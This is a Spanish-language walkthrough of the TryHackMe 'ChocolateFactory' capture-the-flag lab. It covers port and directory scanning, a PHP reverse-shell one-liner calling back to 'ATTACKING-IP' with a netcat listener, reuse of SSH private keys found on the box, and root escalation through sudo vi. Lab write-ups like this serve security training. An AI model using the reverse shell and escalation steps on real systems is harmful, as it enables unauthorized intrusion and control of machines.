ChocolateFactory - TryHackMe

Challenges:
1. Enter the key you found!
2. What is Charlie's password?
3. Change user to charlie
4. Enter the user flag
5. Enter the root flag
Reconocimiento
Iniciamos haciendo un nmap scan:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.233.236 -oG allPorts
Vemos que hay una gran cantidad de puertos abiertos con distintos servicios pero no vemos nada interesante.
Intentamos conectarnos por ftp pero no tenemos user ni pass.

Esta es la interfaz de la página web

Viendo su código html de la página vemos que hace un acción en validate.php que mas adelante veremos que acá se encuentra la key

Con la herramienta gobuster vamos a buscar directorios.
gobuster dir -u http://10.10.233.236/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,py,txt,sh -t 20

Nos dirigimos a esa ruta y vemos lo siguiente

Una interfaz donde podemos poner comandos y nos da respuesta, entonces aplicaremos un reverse shell.
Usamos una reverse shell para conectarnos y nos ponemos en escucha con netcat nc -nlvp 443
php -r '$sock=fsockopen("ATTACKING-IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Estamos dentro de la máquina

Ahora vamos a buscar en el directorio /var/www/html/ la key_rev_key
1.- Enter the key you found!

El archivo teleport y teleport.pub incluyen claves ssh que las usaremos para conectarnos como charlie


Copiamos toda la clave y la pasamos a nuestra máquina de atacante y le ponemos de nombre id_rsa.
Podriamos usar john para la fuerza bruta y encontrar la contraseña pero por ahi no van los tiros de esta máquina pero siempre es bueno probar todas las maneras posibles para ver como podemos conseguir acceso.
Le damos permiso de lectura al archivo id_rsa donde pusimos la key ssh y nos conectamos a través de ssh.
ssh -i id_rsa charlie@10.10.233.236
Entramos a la máquina y vemos que somos el usuario charlie.

Ahora tenemos que buscar en los archivos la contraseña de charlie, antes vimos que la página hace una acción que se encuentra en validate.php buscamos ahi para encontrar una contraseña que pueda estar en el código ya definida.
Y en efecto encontramos una contraseña en el código
2.- Change user to charlie

Ahora buscamos en el directorio de charlie y buscamos la flag de user.txt
4.- Enter the user flag

Privilege Escalation
Primero vemos que archivos tienen permiso SUID
find / -perm -4000 2>/dev/null
No encontramos nada relevante donde podemos abusar para escalar nuestro privilegio.

Siguiente vemos que archivos no necesitan ser root para correr con sudo y encontramos que el /usr/bin/vi podemos ejecutar

Entramos a gtfobins y buscamos el comando que nos hará escalar privilegios al usuario root

Ejecutamos y listo somos root

En el directorio de root vemos que tenemos un archivo llamado root.py ejecutamos dicho archivo y nos pide una key. Es la misma key que encontramos al inicio en el directorio /var/www/html.
5.- Enter the root flag

¡¡Obtenemos una flag, al ejecutar el código de python!!
¡Ahora que tenemos todas nuestras respuestas, enviémoslas y hemos completado con éxito nuestro CTF!
Sigue intentándolo, sigue trabajando :)
¡Gracias por leer!
Feliz Hacking :D
¡Sígueme más para obtener más consejos y trucos! 🙏
Autor: rxsh